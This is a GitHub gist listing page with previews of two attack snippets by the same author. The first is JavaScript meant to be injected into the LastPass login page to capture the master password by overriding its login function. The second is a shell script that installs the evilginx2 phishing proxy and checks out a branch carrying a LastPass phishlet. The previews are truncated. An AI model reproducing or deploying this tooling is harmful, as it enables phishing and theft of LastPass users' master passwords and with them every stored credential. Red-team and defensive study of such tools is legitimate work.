Pepe Berba pberba
pberba
/ lastpass-inject.js
Created
May 26, 2020 09:24
Javascript to inject in LastPass login page to be able to grab the master password on login
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // We override the startLogin function | |
| if ((typeof _startLogin === 'undefined') && (typeof startLogin !== 'undefined')) { | |
| _startLogin = startLogin; | |
| startLogin = function() { | |
| var form = document.getElementById("loginform"); | |
| var hidden_password = document.getElementById("_password"); | |
| if(!hidden_password) { | |
| hidden_password = document.createElement("input"); | |
| hidden_password.type = "hidden"; | |
| hidden_password.id = "_password"; |
pberba
/ evilginx2-lastpass.sh
Last active
January 27, 2022 19:33
How to get Lastpass Phishlet for evilginx2
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Install go first | |
| export GOPATH=$HOME/go | |
| export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin | |
| sudo apt-get install git make | |
| go get -u github.com/kgretzky/evilginx2 | |
| cd $GOPATH/src/github.com/kgretzky/evilginx2 | |
| git remote add pberba https://github.com/pberba/evilginx2.git | |
| git fetch pberba | |
| git checkout -b lastpass pberba/feature/lastpass |